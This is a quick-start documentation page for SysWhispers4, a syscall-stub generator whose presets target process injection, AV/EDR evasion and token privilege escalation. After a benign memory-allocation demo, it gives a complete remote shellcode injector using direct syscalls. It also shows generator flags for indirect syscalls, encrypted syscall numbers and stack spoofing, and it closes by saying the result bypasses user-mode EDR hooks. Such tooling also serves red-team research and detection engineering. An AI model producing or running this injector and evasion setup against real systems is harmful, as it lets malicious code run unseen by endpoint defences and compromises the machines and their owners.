Skip to main content

Your First Syscall Stub

This guide walks you through generating syscall stubs for common NT functions and integrating them into a working C program.
Make sure you’ve completed the Installation steps before proceeding.

Generate Syscall Stubs

1

Choose a Preset

SysWhispers4 provides 8 presets for common use cases. Let’s start with the common preset:
cd SysWhispers4
python syswhispers.py --preset common
This generates stubs for 25 essential functions including:
  • NtAllocateVirtualMemory — Memory allocation
  • NtCreateThreadEx — Thread creation
  • NtOpenProcess — Process handle operations
  • NtWriteVirtualMemory — Memory writing
  • And 21 more…
python syswhispers.py --list-presets
PresetDescriptionFunctions
commonGeneral process/thread/memory operations25
injectionProcess/shellcode injection via APC, threads, sections20
evasionAV/EDR evasion queries and operations15
tokenToken manipulation and privilege escalation6
stealthMaximum evasion: injection + evasion + unhooking32
file_opsFile I/O via NT syscalls7
transactionProcess doppelganging / transaction rollback7
allEvery supported function64
2

Review Generated Files

SysWhispers4 creates 4 files in the current directory:
ls -l SW4Syscalls*
Output:
SW4Syscalls.asm         # MASM syscall stubs (x64 assembly)
SW4Syscalls.c           # Runtime SSN resolution + helper functions
SW4Syscalls.h           # Function prototypes + API declarations
SW4Syscalls_Types.h     # NT type definitions (structures, enums)
// NT data structures and type definitions
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    // ...
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
// ... more types ...
3

Understand the Output Summary

The generator prints a summary:
Functions  : 25
Arch       : x64
Compiler   : msvc
Resolution : freshycalls
Method     : embedded
Prefix     : SW4_

[*] Integration guide:
    Add to MSVC project:
      SW4Syscalls_Types.h  SW4Syscalls.h  SW4Syscalls.c  SW4Syscalls.asm
    Enable MASM: Project -> Build Customizations -> masm (.targets)
    Call SW4_Initialize() at startup.

[+] Done.
Key information:
  • Resolution: freshycalls — Sorts ntdll exports by VA (hook-resistant)
  • Method: embedded — Direct syscall instruction in stub
  • Prefix: SW4_ — All functions/symbols prefixed with SW4_

Create a Test Program

Let’s create a simple program that allocates memory using our generated syscalls.
#include <stdio.h>
#include <windows.h>
#include "SW4Syscalls.h"

int main(void) {
    printf("[*] Initializing SysWhispers4...\n");
    
    // Initialize: Resolve syscall numbers via FreshyCalls
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] SW4_Initialize failed\n");
        return 1;
    }
    printf("[+] SSN resolution complete\n");
    
    // Allocate 4KB of memory in current process
    PVOID baseAddress = NULL;
    SIZE_T regionSize = 0x1000;  // 4096 bytes
    
    NTSTATUS status = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(),     // ProcessHandle
        &baseAddress,            // BaseAddress (out)
        0,                       // ZeroBits
        &regionSize,             // RegionSize (in/out)
        MEM_COMMIT | MEM_RESERVE,// AllocationType
        PAGE_READWRITE           // Protect
    );
    
    if (NT_SUCCESS(status)) {
        printf("[+] Allocated %zu bytes at address 0x%p\n", 
               regionSize, baseAddress);
        
        // Write some data
        memcpy(baseAddress, "Hello from syscall!", 19);
        printf("[+] Wrote data: %s\n", (char*)baseAddress);
        
        // Free memory
        regionSize = 0;
        status = SW4_NtFreeVirtualMemory(
            GetCurrentProcess(),
            &baseAddress,
            &regionSize,
            MEM_RELEASE
        );
        
        if (NT_SUCCESS(status)) {
            printf("[+] Memory freed successfully\n");
        }
    } else {
        fprintf(stderr, "[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        return 1;
    }
    
    printf("[+] All operations completed via direct syscalls!\n");
    return 0;
}

Compile and Run

1

Create Project

  1. Open Visual Studio
  2. File → New → Project → “Empty Project”
  3. Name: SysWhispersTest
2

Enable MASM

  • Right-click project → Build Dependencies → Build Customizations
  • Check masm (.targets, .props)
3

Add Files

Right-click project → Add → Existing Item:
  • SW4Syscalls_Types.h
  • SW4Syscalls.h
  • SW4Syscalls.c
  • SW4Syscalls.asm
  • test_syscalls.c
4

Build

  • Press F7 or Build → Build Solution
  • If successful, output: SysWhispersTest.exe
5

Run

[*] Initializing SysWhispers4...
[+] SSN resolution complete
[+] Allocated 4096 bytes at address 0x000001A2B4E30000
[+] Wrote data: Hello from syscall!
[+] Memory freed successfully
[+] All operations completed via direct syscalls!

Advanced Example: Remote Process Injection

Here’s a more realistic example — injecting shellcode into a remote process:
#include <stdio.h>
#include <windows.h>
#include "SW4Syscalls.h"

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    // ... (276 bytes total)
};

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }
    
    DWORD targetPid = atoi(argv[1]);
    
    // Step 1: Initialize syscalls
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] Initialization failed\n");
        return 1;
    }
    printf("[+] SysWhispers4 initialized\n");
    
    // Step 2: Open target process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID cid = { (PVOID)(ULONG_PTR)targetPid, NULL };
    
    NTSTATUS status = SW4_NtOpenProcess(
        &hProcess,
        PROCESS_ALL_ACCESS,
        &objAttr,
        &cid
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtOpenProcess failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Opened PID %lu (handle 0x%p)\n", targetPid, hProcess);
    
    // Step 3: Allocate memory in remote process
    PVOID remoteBase = NULL;
    SIZE_T regionSize = sizeof(shellcode);
    
    status = SW4_NtAllocateVirtualMemory(
        hProcess,
        &remoteBase,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Allocated %zu bytes at 0x%p\n", regionSize, remoteBase);
    
    // Step 4: Write shellcode
    SIZE_T written = 0;
    status = SW4_NtWriteVirtualMemory(
        hProcess,
        remoteBase,
        shellcode,
        sizeof(shellcode),
        &written
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtWriteVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Wrote %zu bytes of shellcode\n", written);
    
    // Step 5: Create remote thread
    HANDLE hThread = NULL;
    status = SW4_NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        remoteBase,  // StartRoutine
        NULL,        // Argument
        0,           // CreateFlags
        0, 0, 0, NULL
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtCreateThreadEx failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Thread created (handle 0x%p)\n", hThread);
    
    // Step 6: Wait for completion
    printf("[*] Waiting for thread to complete...\n");
    SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
    
    // Cleanup
    SW4_NtClose(hThread);
    SW4_NtClose(hProcess);
    printf("[+] Injection complete!\n");
    
    return 0;
}
For Educational Purposes Only: This example demonstrates syscall-based process injection. Only use on systems you own or have explicit authorization to test.

Generate with Advanced Options

For the injection example, use enhanced evasion:
python syswhispers.py --preset injection \
    --method indirect \
    --resolve freshycalls \
    --encrypt-ssn \
    --stack-spoof
What this does:
  • --method indirect — Jump to ntdll gadget (RIP appears in ntdll at syscall)
  • --resolve freshycalls — Sort exports by VA (hook-resistant)
  • --encrypt-ssn — XOR-encrypt syscall numbers at rest
  • --stack-spoof — Synthetic call stack frames

Customizing Function Selection

You can also pick individual functions:
# Generate stubs for specific functions only
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
Or combine presets:
# Combine injection + token manipulation
python syswhispers.py --preset injection,token

Next Steps

Explore SSN Resolution Methods

Learn about FreshyCalls, Hell’s Gate, Tartarus’ Gate, and 5 more techniques

Invocation Methods

Understand embedded, indirect, randomized, and egg hunt methods

Evasion Features

ETW/AMSI bypass, ntdll unhooking, anti-debug, sleep encryption

Presets Reference

Complete guide to all 8 function presets

Troubleshooting

Possible causes:
  • ntdll.dll not loaded (shouldn’t happen in normal Windows process)
  • FreshyCalls can’t enumerate exports (permission issue)
Solutions:
  • Try static resolution: --resolve static
  • Enable verbose mode to see debug output
  • Check if running in unusual environment (sandboxed, driver context)
Cause: Incorrect parameter types or invalid handlesSolutions:
  • Verify all parameters match NT function signature
  • Check that handles are valid (not NULL or INVALID_HANDLE_VALUE)
  • Ensure OBJECT_ATTRIBUTES is initialized: { sizeof(OBJECT_ATTRIBUTES) }
Cause: SSN mismatch (wrong syscall number for OS version)Solutions:
  • Update syscall tables: python scripts/update_syscall_table.py
  • Use dynamic resolution (FreshyCalls) instead of static
  • Verify architecture matches (x64 vs x86)
Error: error A2008: syntax errorSolution: Ensure ASM file is set to “Microsoft Macro Assembler” item type in Visual Studio project properties.

What You’ve Learned

1

Generated syscall stubs

Used --preset common to create stubs for 25 essential NT functions
2

Integrated into C project

Added generated files to MSVC/MinGW project and compiled successfully
3

Called NT functions directly

Used SW4_NtAllocateVirtualMemory to allocate memory via direct syscall, bypassing user-mode hooks
4

Built a working injector

Created a complete process injection example using syscall-based memory allocation, writing, and thread creation
You now have a working syscall-based application that bypasses user-mode EDR hooks! Continue exploring the documentation to learn about advanced techniques and evasion features.

Build docs developers (and LLMs) love